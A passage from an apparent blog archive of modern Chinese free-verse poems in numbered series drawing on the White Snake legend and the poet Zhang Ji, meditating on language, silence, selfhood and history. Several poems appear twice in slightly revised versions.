遂上岸，入江，逆流而上 仿佛溯源，正准备打开鱼贩子们 内心最深处的那一个 ————叫做了因为即时的发生 而“扑了一个空”的东西的腹部时。 张继来杭十二1347 《张继来杭十二》 1989年初春的南京，柏桦如是说。 \/ ———这个南京被很多人动过手脚， 对同一个人的所作所为而言， 这是语言的本质。 张继来杭十三1348 《张继来杭十三》 有时候是，以不是的方式。 前进的文字因对自我的表述而 停下，伸手往现实里面一摸， 就摸到了阻碍交通的一棵树木。 \/ 我们也累了，更准确的说 要接下来去说出， 说和水的紧密关系。 如果有人冲着沉默的方向， 那么我是第二个，我替他 把喝水于说的可能性来补充。 \/ 这是一个队列，但有时 感觉不到彼此。有时候能够感觉到， 我们本身是无的，空洞的，透明。 碰到了一棵树的四散成语言， 欣赏傍晚美景的就找另外的一棵， 席地而坐。 白素贞二1349 《白素贞二》 在不详之中， 但不详的位置并不准确， 所以在不详之中。 \/ 在于不详，那语言试着说出时候 发生在了准确位置的一闪而过后。 我们拥有的相同，是某样东西的 某一部分。像短暂夜晚所赐的命运。 \/ 我们在命运里面， 在眼前的巷道，接着 它就因此黑漆漆一片， 看不见了。 我们看无所的看，接着看， 便是了语言。便是语言终于 抛弃了它含蓄，羞涩的一面。 \/ 在不详的位置于人的游移而来， 是人的固定不变。 像夜晚的电线杆， 那些我测试过距离和高度的话语 流逝如水，浓稠似墨 难以挽留的我，被盼望成为了它们 心中的孤岛。 张继来杭十四1350 《张继来杭十四》 青砖于地，铺就入夜后的大青大紫。 瞬间完成的垒砌包含着， 现代性。但文字因此是古老的。 \/ 走过者的有所得到意味着， 脚步之中却包含着停了下来。 那些可以称之为在于赞歌里面的， 行动的前进力量，以及不只于此。 \/ 远去，赶走路过的行人。 语言独自逗留下来。 像短暂的具体，鲜活 毫无任何准备的处在恒久的初冬。 \/ 昨夜也是如此， 因为深入了古代而如此的寒冷。 它敲门，持灯笼，灯笼圆圆。 敲开每一扇门，道路也是圆的。 \/ 在这个昏暗的路口，路灯下面。 通过转身就能招致这些， 值得一看。你于是也转身 狸花猫趴在墙壁上，幽瞳业火。 青的意思1351 那种自我者所对于的自我，以自我的方式来说， 但暂时不是一种表达。而在仅仅限于说上，既【青】 白素贞三1352 《白素贞三》 青的意思就像自我， 但自我并不重复， 自我是单一的，自我就矛盾 自我在语言上的矛盾，那么 就是言说了。 但我不想那么容易就屈服， 尽管确实我容易被勾引。 可是谁来到了一个地方， 来到一个镇子，当它的意思就是 人来人往的意思和意思的本意时。 世界上有那么多的镇子，还会更多。 一个人的命运就好像被规定所等待， 因为我们的有关于被命运等待的言说。 但你也不能一直停留在某个事物的外面 或者命运就是因此你已经在了另一个当中。 你以为它不是的时候，你擎着的手 擎着的累了的手是举了起来的解决办法。 你使得了我陷入了两难的困境是什么意思， 你要干什么，你不吃饭，不休息，不住宿 不寻找酒家和理发店是什么意思， 你要干什么，沦落的言语伴随着你 蓬头垢面，衣衫褴褛，走过又来以至于相反 有时候你说南方是春水，只是 一句话的迅疾消失不见了。 张继来杭十五1353 《张继来杭十五》 与你所写下的是命运般的同时， 也要到我的这里。 这中间会下雪，刮风， 刮有一个目的的风， 风的目的是把下雪变成下雨。 \/ 为这个季节的错误你要写。 在写中前进，与现实的静止矛盾着。 你左右矛盾着，你写，只能这样。 你遇见了下雨就折返， 就像雪遇到了雨落了下来， 噼里啪啦与声音白色的矛盾着一样。 \/ 有一些话语，因此你没有说。 \/ 除了这下雨，下雪， 其他的一切你都写下了。 你无法写你也写了， 作为风和雨和雪的理由的 它们，你也写了，就像 写其他的平常的事物一个模样。 \/ 我的言说你也写了， 我就无话可说，就沉默不语。 我是你的那，以所写而下， 或曾经是那所写下的。 我不能是一种呈现， 我是文字黑色的，像夜 一般的自我的拒绝。 张继来杭十六1354 《张继来杭十六》 我想要想要这种想要，我说 但因此说不出来，咬牙切齿。 该如何避免个人真实的疼痛。 我开窗，辟谷，在自己的身体 现成的鼻孔上面，以语言文字的 形式给它该换了门厅，哄骗自己 自欺欺我:慢慢的我人的全身上下 每一个裸露在外器官都有两个名字。 \/ 我听人在路上说我的说东西， 我见人像逃逸者而我， 获知了那追罚者通过自我以及 语言的得以形成。像一面镜子。 人过去了，但语言没有过去，怎么可以的。 \/ 匆忙的现实的习惯下面的是现实的 真实的处境。一次重复于人的失败临摹 来自于它是那对于说可能变成现实之前 的完美表述。以此我说了。同时现实里面 承受着波折和辛苦。沉默和不说话 离得很近，作为邻居它只有搬离这里 去往别处，这一条道路可以走。 忍受我夜夜的噪音的人儿， 我只是很想要知道这噪音从何而来。 青蛇二1355 《青蛇二》 那林姓的大青衣走入火焰中， 她所要的追求是另外的一条。 张继来杭十七1356 《张继来杭十七》 人们坐在大地上， 会产生一个声音。 人们会很快的起身， 因为一个追逐着的声音 追着人们，也同样像大家一样 不能在停留中呆太久。 它，正是我的猜测的东西。 是我的一个新的认识对象。 我不会百无聊赖的变成那个 坐下来，以及行走之人。 不会在陌不相识上面，两两相遇。 不会对于寂静保持警惕， 因此我怀有的警惕正当， 合理，而重复。在并不矛盾上面 会有那么一个轻松的下午。 张继来杭十八1357 张继来杭十八 《张继来杭十八》 慢慢的我发现， 我会发现的更多。 以我的第一个发现作为起点 就好像它们一个个都将我排除。 我更愿意待在这，原地。 这里不仅有为何去发现的原因， 也面向前方。因为 人的精力是有限的， 这与高强度的精力集中是 一个意思，是一同出于最开始的 万物的单一性，才慢慢的可以 在文字里面下坠。或者下坠在了 文字里面:叫做文字里面。 我忍不住喊了这一声， 我以为声音很轻就没人听见。 更为重要，是这代表的慵懒。 怎么可以要让别人来衡量？ 要让无人之时的四下的寂静来衡量？ 让通过寂静而间接的我来衡量？ 我衡量自己，我说出的明明是 平铺直叙的叙述句，陈述句。 如今，我不得不使用疑问和反问来表达 这内在于心灵的情感全都向下 这等着别人来问的人儿注视着前方。 那些与联x相互的类似里面，我 最迟的提到了未来，因此它因为 还没有的到来而成了过去的神奇了。 只有我，独自一人的时候，无缘无故的时候 在历史的过去，现在和未来， 众多的兵荒马乱之中，需要 承担起一起起的罪责。 张继来杭十九1358 张继来杭十九 《张继来杭十九》 与你所写下的是命运般的同时， 也要到我的这里。 这中间会下雪，刮风， 刮有一个目的的风， 风的目的是把下雪变成下雨。 \/ 为这个季节的错误你要写。 在写中前进，与现实的静止矛盾着。 你左右矛盾着，你写，只能这样。 你遇见了下雨就折返， 就像雪遇到了雨落了下来， 噼里啪啦与声音白色的矛盾着一样。 \/ 有一些话语，因此你没有说。 \/ 除了这下雨，下雪， 其他的一切你都写下了。 你无法写你也写了， 作为风和雨和雪的理由的 它们，你也写了，就像 写其他的平常的事物一个模样。 \/ 我的言说你也写了， 我就无话可说，就沉默不语。 我是你的那，以所写而下， 或曾经是那所写下的。 我不能的只是一种呈现， 我是文字黑色的，在于自我的 这种朝向于你，像夜一般。 张继来杭二十1359 《张继来杭二十》 春天有雨，藏在信里面。 透明的春雨下降很快的成为了 对于阅读进行着申s的信笺。 \/ 在误解之中于快上面，让我们消失的 话语的是，是“让你我差一点，在 信以为真上面的差一点。而它与 口若悬河者的悬崖沟壑因此而来的 有何不同又有何不同呢？”。 \/ 它们在那上面如同自我的重复，把 语言言说的沉默同样没有停歇的 带来这里。雨还没落下，还没湿润的 却事先就g透，叫做了土地， 我们因此很少提起它。 \/ 雨的神秘的国度再也不能， 如此这般的迎来一场雨了。 迎来春雨时，我们拒绝着自己， 否定着自己。自我怀疑之外的一切 是否就都是我们自己呢。 \/ 雨的国度神秘于是对于语言的求助。 要求助就宁可多花一些时间，寻找。 那一位宅心仁厚，家境贫寒。 那在倾听中一言不发如同的像雨滴一样。 像一个人的自我等待在等待自我之中， \/ 如同于雨的这将落未落的形式上面， 形容了移动在于自身的，是最初大千 世界，由自我和面前的阴云密布所组成。 白素贞四1360 《白素贞四》 与你的所写下，是我命运般的共同时候。 时间的杯盏掉落，打碎自己身上的虚无。 紧接接着敲出了的，位于自己身体上方。 那些碎片是银针，随后也会进入你所书文。 \/ 旅途疲劳的意义，对于你旅途人。 话语还没有因为，牵绊着命运而结束。 它因为牵绊着的是风是雪，也因此 开始了像风于像雪花的自我形象了。 \/ 使我感到说话费劲的时候， 你不在。或者你不在了 在此地却隔着一段距离的你 只是对于存活的一段和一段段的明证。 以及明证自身的一段段。 或者你离开了此地得以杳无音讯的时候， 我都获得了一个从 费劲矛盾于安宁而来的最终答案。 \/ 我在于自身的挖掘应该停止， 在于停止的挖掘应该也停下。 你来到了我心里面，却谎称。 你自称的解释:这里，心里面。 这谎称的方式让人抓耳挠腮。 \/ 星星也曾经让人抓耳挠腮， 我要睡觉了，山间有木屋， 房间里有床，睡在一个地方， 像睡在哪里了。 白素贞五1361 《白素贞五》 与你的所写下，是我命运般的共同时候。 时间的杯盏掉落，打碎自己身上的虚无。 紧接着敲出了的，位于自己身体上方。 那些碎片是银针，随后也会进入你所写下。 \/ 旅途疲劳的意义，对于你旅途人。 话语还没有因为，牵绊着命运而结束。 它因为牵绊着的是风是雪，也因此 开始了像风于像雪花的自我形象了。 \/ 使我感到说话费劲的时候， 你不在。或者你不在了 在此地却隔着一段距离的你 只是对于存活的一段和一段段的明证。 以及明证自身的一段段。 或者你离开了此地得以杳无音讯的时候， 我都获得了一个从 费劲矛盾于安宁而来的最终答案。 \/ 我在于自身的挖掘应该停止， 在于停止的挖掘应该也停下。 你来到了我心里面，却谎称。 你自称的解释:这里，心里面。 这谎称的方式让人抓耳挠腮。 \/ 星星也曾经让人抓耳挠腮， 但这确实是一个谎言， 赠送给夜晚的是谎言的停止的真。 我要睡大觉了，当山间有屋， 房间有床，田间有地，秋天生长 也像睡在“哪里了？”。你在我睡的时候 悄悄地离开。 青蛇三1362 《青蛇三》 是戏的不是，这是和才是戏曲随后给了诗歌。 青蛇四1363 《青蛇四》 停下来，意味着我不会因走而进。 （无因的走一定是无语言而保持沉默的模样。） 骨头紧贴着什么，“什么”在语言的 骨肉里面是一个单词。包裹了它的 人类的骨肉，慢慢的却有了， 让它成为一个秘密的企图。 历s打人就是人打历s的 无可奈何的奋而反击。还能怎么办呢， 我只要一遗忘，遗忘的我就再次的 从祖先的骨肉里面，借着斑驳陈旧的 文字充满了它们对于未来的徒劳渴望。 而我已经被逼到了一条滚滚大河边， 在于退路，在我常常把历史以老天爷 来表示的习惯里面，我不得不拿起了 地上的一截枯枝。我知道，唯一的退路 我知道因为这恰恰正是的，是那唯一的 退路。让我如此者。不是农民，不是妇女。。。 我脑袋的否定，我充满了否定的脑袋 肯定着这合理的一切。 \/ 我想，想去一个画着屈原投江的房间。 看看，画里画外。我想，这个词不对 写下的人就涂抹，改了又改，愤而 作画，乃至于弃文从画，止步于纵身 投江的那一刻。 这个人让现实得以成为了可能，这 东方人的充满了功利色彩的现实 藏着画的本质。我想，偶然者从众人 而出，纵身一跳，之前与农民交谈， 共悲戚于蚕妇，他，屈原，在岸边 烧掉了自己的毕生所学所写所知。 \/ 那么，这是怎样的一幅画，屈原的 声音从里面问我，传来。 青蛇五1364 《青蛇五》 ————“每个人的身外”， 用以描述我们身体外面的事物。 \/ 因此， 物质是错的， 生活是错误的， 事先就紊乱的精神和 心理有着更深层次的z事原因。 \/ 一切因语言而错误， 如果我们不说话， 就像只是想要看一眼的那种情形， 这就像它的具体， 以此类推，感受到原z的人 是普通人。 \/ 感受到原z的人 感受到的人的普普通通。 青蛇六1365 《青蛇六》 五月很快的 就因为花低坠而成为了事实。 它迫近你的言语，你试图去暗示的 嘴唇是被暗示的。 你永动的嘴唇的所是，人却孤孤单单。 五月的花朵，迫近你的花朵 在盈盈的湖面形成了救赎的倒影。 下午，我看到了一个人，钻进湖边 树林，坐在一个石头上面，一个人 絮絮叨叨的自言自语了一下午。 青蛇七1366 《青蛇七》 搭眼一看，误解便生 :语言受到了胁迫。 \/ 那么，我有理由相信， 文字落在纸上就是落在 山坡的最终形式。 最难解的就是这火焰， 最郁闷的就是穿戴这 灭火，笨重的防护服。 人要让这火焰一直生长 人要偶尔的将它消灭才肯 好好的说话。现实的情境 广阔无垠，远离大漠的沿海省份 人们却说着那大漠的深处。 楼兰的驼铃声早晚会传来， 离开而去往西部的人，需要 先从自己家乡的山坡做着练习。 自己把自己想象成了一团火的人， 此去的目的就是用文字表达的遥远。 怎又会是抒情的真相呢，一人 与我对话，一个人就可以制造喧响。 大漠的月亮还没有习惯在农耕和游牧 之间的自如切换，这同样也已有千年了。 春秋来信以1367 《春秋来信一》 我的有被不真实所充满，我才感觉。 我认定，人们通过语言来联系。 而言语越来越少，就需要信笺。 夜晚太黑了，就是有人不想让我， 看到他弯腰弓背，伏在纸张上面。 健康的文字是否真的健康呢， 在永恒的主题中，文字挺身而出。 健康的自我所做出的叫做了回答， 一个人他只是过得很好的他自己。 就像他一直追求的是别的，另外的。 信上面的语言提到。一天，可轻易的 毁灭，可重新的让我们看到重现的 困难与不可能。写信的人因果律上面 太长的自身，从一开始就是租住的房屋， 共用的洗手间，路边的早餐，午餐，晚餐。 写信的人给自己写信，满面红光借着 光穿过的红色的灯罩，他想要借此机会 写下一个迷题，他写给的人是他自己。 收到信的人下楼去取绿色邮筒里面的信笺， 他回头望望自己租住的房间，那里面没有人 这是他唯一确定的。 春秋来信一1368 《春秋来信一》 我的有被不真实所充满，我才感觉。 我认定，人们通过语言来联系。 而言语越来越少，就需要信笺。 夜晚太黑了，就是有人不想让我， 看到他弯腰弓背，伏在纸张上面。 健康的文字是否真的健康呢， 在永恒的主题中，文字挺身而出。 健康的自我所做出的叫做了回答， 一个人他只是过得很好的他自己。 就像他一直追求的是别的，另外的。 信上面的语言提到。一天，可轻易的 毁灭，可重新的让我们看到重现的 困难与不可能。写信的人因果律上面 太长的自身，从一开始就是租住的房屋， 共用的洗手间，路边的早餐，午餐，晚餐。 写信的人给自己写信，满面红光借着 光穿过的红色的灯罩，他想要趁此机会 写下一个迷题，他想要走进迷题里面， 好把信写给他自己。收到信的人 一边感叹着岁月一边，下楼 取绿色邮筒里面的信笺，他回头望望 自己租住的房间，现在那里面没有人 这是他唯一能够确定的。 春秋来信二1369 《春秋来信二》 不真实，容易假 不得不需要更加的真实。 所以人活着真的很麻烦， 人的由来甚至由一段神话。 我也就知道了接下来的故事内容 那个说着人从“文字”“容易”。。 而来的人，被当成了疯疯癫癫， 不太正常。一路走街串巷，消失在 马路尽头。 白素贞六1370 《白素贞六》 一个人撒起欢来，一个人是 终于来到了这里的一个人。 是人的某一个阴影。 像自己的马，但不是院中马。 不是那你通过手指的收回 而相反的获得否定中的宇宙之夜。 通过又蹦又跳二者区别开来的 二者，意义不大。二者的并不是统一 在店小二的亲切称呼里面也 绝不会有成为一个整体的可能性。 很多的人做过，同样的事情 在院子外的山坡，河谷，宅门 和内院。就成了雪花，成了雨滴。 成为了纷繁复杂里面人人的， 每一个风雪夜归人。所以，只有词语的 错误，只有通过词语的对话形式， 在词语于人的流动之中，我们才可呼吸。 这些酒越变越大，越看，就越来越 获得了一个对于静止不动的矜持。 犹如昨夜之前，那曼妙的村妇面对着 旅途岁月的必然遥远。她是中途被抛下来的 她是语言从含蓄的最终离开， 而这抛弃的语言的女人一般的本质 也依然需要诉说。一拍即合， 放在了大地上面，就沟沟壑壑的话一般的 可以蔓延，蔓延上面可以到达很远， 或者被幽微一声断喝所惊醒。 我们需要酒，酒在很多的梦一样的 地方。它的隐秘而潜行的同一性， 我的感觉上面的你一般的微小的声音。 店小二端来了酒， 唯一的后果就是我成为了 后院里面的马匹。 明月皎洁，夜晚要把时间揺下来。 摇成了的地面的白天上有一匹马 在言语和现实中矛盾， 我不能确定，但我有很多的时间 人在喝酒，你第一个醉的不省人事。 白素贞六1371 白素贞六 《白素贞六》 一个人撒起欢来，一个人是 终于来到了这里的一个人。 是人的某一个阴影。 像自己的马，但不是院中马。 不是那你通过手指的收回 而相反的获得了否定中的宇宙之夜。 通过又蹦又跳区别开来的二者， 意义不大。二者的并不是统一 在店小二的亲切称呼里面也 绝不会有成为一个整体的可能性。 很多的人做过，同样的事情 在院子外的山坡，河谷，宅门 和内院。就成了雪花，成了雨滴。 成为了纷繁复杂里面人人的， 每一个风雪夜归人。所以，只有词语的 错误，只有通过词语的对话形式， 在词语于人的流动之中，我们才可呼吸。 这些酒越变越大，越看，就越来越 获得了一个对于静止不动的矜持。 犹如昨夜之前，那曼妙的村妇面对着 旅途岁月的必然遥远。她是中途被抛下来的 她是语言从含蓄的最终离开。 而这抛弃的语言，女人一般的本质 也依然需要诉说。一拍即合， 放在了大地上面，就沟沟壑壑一般 可以蔓延，蔓延上面可以到达很远。 或者被幽微一声断喝所惊醒。 你们需要酒，酒的存在于就是很多 地方的空。赶在它们的空如梦一般 我们赶来。店小二端来了酒， 唯一的后果就是我成为了 后院里面的马匹。 明月皎洁，夜晚要把时间揺下来。 摇成了的地面的白天上有一匹马， 在言语和现实中矛盾。 我不能确定，但我有的时间很多， 人在喝酒，我听到你第一个醉的不省人事。 白素贞七1372 《白素贞七》 树上的果子， 要么是藏，要么是深。 \/ 果子成熟时，我们要么是贼人， 要么摇身一变还没有发生。 在这种如往常一般和位于其上的 仿佛是它的语言，在我们因为 听到了言语说出迥异而感到不解 \/ 被分辨而出的贼人，只好 从游客里面退出。他想要 在夜晚的四下寂静里面回来。 白素贞八1373 《白素贞八》 读北宋诗，更像是 读于北宋的另外的一个人。 那么，事物因为历史而寂静。 内容在时间的鸿沟里面， 努力的填补，成命运样。 他那里是读分明是抽身离开， 那里是相反的枯竭和严肃， 光明正大不过是容不得嘻语一句 时代的伟大，当它指向野树的 籍籍无名。抽身而来不过断水 水自流，不过是重新的回来而 树梢上面的鸟雀，在纸上拉了 一坨鸟屎。我能体会到的亘古 在于不可能之中。而在于其的， 以至于之外，在仿佛身临其境而 渐渐地不似我这个人的时候， 包括了那些朝向于自我的不可能， 因历史，因此它依然在持续，行进时。 白素贞八1374 白素贞八 《白素贞八》 读北宋诗，更像是 读于北宋的另外一个人。 那么，事物因为历史而寂静。 内容在时间的鸿沟里面， 努力的填补，成命运样。 他哪里是读分明是抽身离开， 哪里是相反的枯竭和严肃， 光m正大不过是容不得嘻语一句 时代的w大，当它指向野树的 籍籍无名。抽身而来不过断水 水自流，不过是重新的回来而 树梢上面的鸟雀，在纸上拉了 一坨鸟屎。我能体会到的亘古 在于不可能之中。而在于其的， 以至于之外，在仿佛身临其境而 渐渐地不似我这个人的时候， 包括了那些朝向于自我的不可能， 因历史，因此它依然在持续，行进时。 青蛇八1375 《青蛇八》 文字稀少，却尽是文字来回 走动的影子。语言来把它说出。 我可以追溯到唐代，追溯到 宋代，并且与现在相脱节。 我可以在道路上面遇见那个 节度使，并且摇身一变，成为了他。 当我拿着的正是了我的所坚守， 任凭它迎上了历史里面的某一些， 同样子的虚假。但因此而不会更多， 但这些，从现在和此刻而来的闪光。 我相信虚假尽是谗言后， 那语言的说出还是没有一个影子。 我的低头看了看不是影子， 我余光一撇也不是。大地 更不是了。不是组成它的片缕， 历史之于它之中所没有的事物， 不是————它隐隐的传来。 春秋来信三1376 《春秋来信三》 能在沉默的时候， 更加沉默的成为了沉默的本质。 \/ 呵，是我。我刹不住的语言， 因为它那隶属于自己的微小， 当这一切由因为它而起的人间的 动荡。————这动荡因此不需要 解释，因此拒绝和反对的色调 在解释里面的人的倔强附带着 脸庞的扭曲，变形。 \/ 有那么一瞬间，我相信了 唯有言语之中的永生的可能性， 并且在于言说的时候唯唯诺诺， 沉默于不知所踪的时刻。 青蛇九1377 《青蛇九》 那么轻易，便容易那么的。 在“无”中数，把繁多就获取了。 那繁多也包括这自我默念时刻。 关心别处的人只会走上关心更加 遥远的遥不可及，关心的心灵 只关心除了自己之外的一切东西。 语言，只是一个有关于来自苍蝇的 神话传说。那些我将此告诉于你的 日常攀谈，在楼宇房的屋角，闪烁着 石油一样浓稠的表面色彩。 \/ 而称之为的现在，不同于现在的 这一个称之为。你看，尽管你我 都看不见，看这些z责。原z。 看不见的看。看这看最初的罪责于人 而诞生的二者的互为近邻。 \/ 正是这一个矛盾的难解难分和具体 :只能关心更远，人因此站在了原地。 \/ 所有的声音和琐碎细节，逃不脱 你感官的称作了它们，语言上的 因此不可能的逃脱，逃脱的只有 语言和逃脱它自己。所以， \/ 以此种误导了我的人，一定 也还会接着让一切继续下去。 我所没有见过的男人们一失足 成千古恨，因那正是我们自己。 \/ 这几天，对面楼上搬来一个因城市的 脉搏和命运而神色阴郁的年轻女子。 每个夜晚凭窗远眺的，是城市过去的 万家灯火。在于流逝而因此与远处的 不同和差异产生了。我躲在暗处， 丝毫没有察觉。我更想要成为你， 这些共同享有的伟大的思x，现代化产品 一般的一切如同对于历史的一种总结和 归纳，错误也被书写，被历s规整。 从我的所不愿意那里，对于此。 我面对着你了。女士。 白素贞九1378 《白素贞九》 桃枝负果， 语言再造的一棵桃树。 \/ 谁又能因此看得出以 时间所表达的隐秘呢。 \/ 我怕那个在树下站了很久的 孩子，我沿着他的童年一路往上， 去拒绝他对于秘密的探寻和好奇。 \/ 而桃树，而早因为季节而拒绝， 使得这一切在初冬的白色里面 成真。本体论的桃树也自我拒绝 作为人间的唯一的一次尝试， 证明了这之前的空空是一次攀谈 于这些类似于无的徒劳中， 是难以想象的生长和开花。 白素贞九1379 白素贞九 《白素贞九》 桃枝负果， 语言再造的一棵桃树。 \/ 谁又能因此看得出，以 时间所表达的隐秘呢。 \/ 我怕那个在树下站了很久的 孩子，我沿着他的童年一路往上， 去拒绝他对于秘密的探寻和好奇。 \/ 而桃树，更早因为季节而拒绝。 使得这一切在初冬的白色里面 成真。本体论的桃树也自我拒绝。 作为人间的唯一的一次尝试， 证明了这之前的空空是一次攀谈。 于这些类似于无的徒劳中， 是难以想象的生长和开花。 法海一1380 《法海一》 考察于的，自我的考察。 一个和尚就来到了杭州。 \/ 看起来，如此简单。 迈入了生命的困难。 白素贞十1381 《白素贞十》 把袜子穿臭，穿的更臭。彼二者组成 一些，一些却因此往往代表的单纯着。 \/ 把袜子穿臭与更臭之间， 通过了的更臭才有了界限。 仿佛生活的无奈终于忍无可忍， 是什么事情，以至于一边不说的 形而上学化。而另一边，仿佛道义 和律令的丧失，而依托于因此被 不断提及于无限上面的国度， 即使它新鲜的形象是生活借着语言 在肉体之中，缘木求鱼的试图一探究竟。 \/ 而这是一种传统，甚至它因此古老， 甚至它古老的琐碎而守旧和曲折。 当它被一个嘴唇给捞了起来，而 捞起更甚于此，它那丰富性中的 围观，交头接耳。。。和“什么都 没有丢失”。所以，生活于人的 发现只是语言本身的错乱， \/ 把一个嘴唇弄成了一个个嘴唇的人儿 怎么可能不精神错乱呢。在那种趟着走路 的时候，现实和虚幻，打成了最终的妥协。 一个亲吻被以如梦似幻的方式说了出来， 一个天空在路的森林的尽头亲吻着波光琳琳的 湖水。 \/ 把袜子穿臭，就把它放到人类的世界 而产生出浣洗的德性。从与你无关的事物上面， 居住和走到一个美丽的地方也是最初与你无关。 一个两不相欠者与你无关，因为他要承担 两两相忘的全部责任。你只是遇见了它， 就像把袜子穿臭般的修饰词语。你擦身而过， 新在于来过，而仿佛与梦境一起在附近诞生了。 法海二1382 《法海二》 走而火焰，这证明了 它多容易就会熄灭。 \/ 灰烬，位置高于燃烧。 沉默冰冷的在我面前。 \/ 我是说，它动词一般的真相。 那去的到达。仿佛已经完成， 而如果没有，在被称作了名词上。 它的那误解，这对待于自身的东西 以自我对于自我的方式，是了我。 白素贞十一1383 《白素贞十一》 我只能亲吻表面的水， 我只能，让表层以下， 是水，迟迟的最后不来了。 不再了，它们说。 透明了，它们决绝。 它们已经在水下成了自己的回声 除了表面的情景， 其他的水全都沸腾， 如同世界巨大的秘密。 如此需要语言的，语言却 远离的时刻，如此便诞生了的 因果和循环，在于人由人人 人群所组成的群体当中。 更早前，雨水跨过了历史， 在可言说之前，以再次演变的 方式，继续隐秘的深入。 \/ 像，湖。 白素贞十一1384 白素贞十一 《白素贞十一》 我只能亲吻表面的水， 我只能，让表层以下， 是水，迟迟的最后不来了。 不再了，它们说。 透明了，它们决绝。 它们已经在水下成了自己的回声 除了表面平景， 其他的水全都沸腾。 如同世界巨大否定的秘密。 如此需要语言的，语言却 远离的时刻，如此便诞生了的 因果和循环，在于人由人人 人群所组成的群体当中。 更早前，雨水跨过了历史， 在可言说之前，以再次演变的 方式，继续隐秘的深入。 \/ 像，湖。 春秋来信四1385 《春秋来信四》 世界在知道与未知之间 那里始终有一种因为存在而 渴望着去结束的走动的活动。 那些在里面移动的不只是我， 而因为我，同样作为一个受到世界的 因果所胁迫的人儿说了了它们 更多，语言上面存在的真相。 如果这还没有结束，以行进到了 事情尽头的方式来表达。这使得了 我也参与其中，谓之垂怜于世人的话语。 如果我因此放入的话语有着逆流而上的意识， 在不可能成功而仅仅在于它们对于自身的 关怀，在于这从此以后成为了每一个人的 独一无二。那些，意味着走动时候的疼痛 在这个时候就是对于此所言说而出的 没有痛感。那么，是否确实如此呢，那些 感觉从人的身体上面丧失，一如那些古老的遗训 :麻木，冷漠无情，他们在高空之中，俯身查视。 青蛇十1386 《青蛇十》 世界上会有一个时刻， 全是爱，但没有罪恶。 罪恶自己在上面朝前走， 一个尽头却在自己眼中映现。 \/ 能够忍耐矛盾的人， 不一定就是有着足够的耐心。 如果我们所期盼着的是永恒， 那些语言则只是来临时候的一种辩解。 \/ 而事实上，它是不可能的。 实际的它以始终都不可能的形式。 因此，垂怜于法则的低垂， 柳叶弯弯，叶面上有一滴晨露。 \/ 晨跑者跑过这更为的久远。 那些从水中说话者的昆虫， 自我生命于形式的转身进入， 露水，这无影又无踪湖边的灵魂。 春秋来信五1387 《春秋来信五》 抬头看一眼月亮，我就知道 世上最深的井在哪里了。 抬头看一眼世界的深井， 我所有的不相信都与不能爬出有关系。 \/ h言反问，质疑，自欺。 而时间里面的谎言经由言语来说出 人分不清，拿不准 你到底带走了语言的那一部分。 它，只好成真，也是在岁月里面一直为真 h言，变成语言了。 \/ 知道世界就是那口井的人， 催促我去再看一眼。 但世界的幻象会因此消失吗， 我想请问的是人 理想zy的太过乐观和天真的想法。 \/ 不远处，空山僧终还是自成了关怀。 他能够做的，是除开告知以外的一切。 而对这种获知所做，怎又因此是了的 那脆弱，关怀的唯一性却始终不愿下山。 \/ 有人告诉我说，愿意独自 去面对的其实是人的本质。 此刻，正对着世界的最为虚幻， 投出它世界那最为的本质。 春秋来信六1388 《春秋来信六》 听与耳朵彼此的制造， 在听中，耳朵里面鼓噪着的 落进了声音中，随后被听到。 显然，我们无法作为一个看客。 而看客看起来呈现了它最佳的形式， 他隐身。 隐身而不能隐去自身者， 所要隐去而于自身者的。 我们的话语同样的神秘， 互为的颠倒眼前呈现， 共同都求助，依赖于短瞬的它们， 仿佛都对于栖宿的肉身置之不理。 春秋来信六1389 《春秋来信六》 听与耳朵彼此的制造， 在听中，耳朵里面鼓噪着的 落进了声音中，随后被听到。 显然，我们无法作为一个看客。 而看客看起来呈现了它最佳的形式， 他身影暗淡。 隐身而不能隐去自身者， 所要隐去而于自身者的 我们的话语同样的神秘。 互为的颠倒眼前呈现， 共同都求助，依赖于时间的短瞬 对于栖宿的肉身都置之不理。 春秋来信七1390 《春秋来信七》 江水横流， 在一个村庄，其实语言非常的大胆。 语言之不能承受者所作， 说出者的暗示。 一是终生被压p于土地，农民。 不能走脱的言语因此充满了惊慌， 对着这突然发生的一切， 试图在农民这一副早已经习惯了 麻木的脸颊上面。 所以，江水横流，有五千个农民组成了 江水。江水滚动乃是一种诉求 寻来了古琴者，你也需要高吟， 只有打开了一个农民麻木的心灵， 那绚烂的城市之花，才瞬间照亮了 万事万物。 张继来杭二十二1391 《张继来杭二十二》 风自身，暮色微凉中转向。 旷野屹立着大风，呼呼刮着 卷籍史哗哗声也无法将其穷尽。 \/ 人如若不能以说出，那与拷问的无疑。 于是从今天起要做一个阻断者是我 这个在没有说出里面更甚，以不同于 欲言又止的方式，那些是语言的自我。 心思单纯的人跑到旷野去寻找一匹马 我们只记录x案j中获胜一方的古代典籍， 在过去，耗费被关之人的大半生而不能 穷就其秘。道德诸相关于正隐隐赶来的， 是永远那不会赶来的意思。这自我所遇到， 这阻碍遇到的，便是了这语言的可以去说出。 \/ 在于自始至终于是事物仅仅在于开始，结束 就知道了详情是什么。乃至于一切继续的 推论是错误的虚假的。难以发觉的错误， 接着身处难以言喻于错误的偶然发现上面。 那怕，正是它们把人和人这个字构成。 或者，允许着的，让去沾沾自喜，以为是的 我们成为了主角。而对于它因此以在过去 现在和未来都始终于朝向的方式 \/ 在我的心里面所想，以族群的命运所作， 仿佛正是他们的辩解，包括那成为了月下 离开者的这一个，他因此被繁复的重提。 从那些对于他的必然质询之中，那些他终究 要回到者。他们瞬间无影无踪，大地如旧。 青蛇十一1392 《青蛇十一》 s身成仁里面的出走。反过来说 s身和成仁，构成了一个空间。 或者这个空间因此是易碎的。 让出走成为了可能的也因此包括着 对于此我们的描述。站在了对岸的人。 游客。喜欢的夜晚。有一条大河，名字 叫做了长江。而因此时代已经过去了， 杀身成仁中的火烧赤壁，甚至都无法 在草船借箭上面逗留。“并不是”是现代性的 便捷:但并不是在舒适里面，人仿佛正是 逃脱了温暖而来到了这里。还是 让我们回到杀身成仁吧，说给我们自己吧。 对于通过此被一一的包括，也包括你我之中 你的准备要避开，我也一样。 春秋来信一八1393 《春秋来信八》 你要去哪？一个你要去的 地方，因此更加的遥远。 犹如一种移动相对着，依赖着 相对于远而在的，事物， 犹如一个错误的词 开始有了一个犯下错误的 记忆不堪回首开始的重新清晰。 我知道了这个清晰的终点在哪里， 是什么。在你对于那“事物”为什么 偏偏竟成了你的时候。 如果你不说出，如果我换一种方式来 问你，沉默勾引，百无聊赖的我们如此美好。 春秋来信九1394 《春秋来信九》 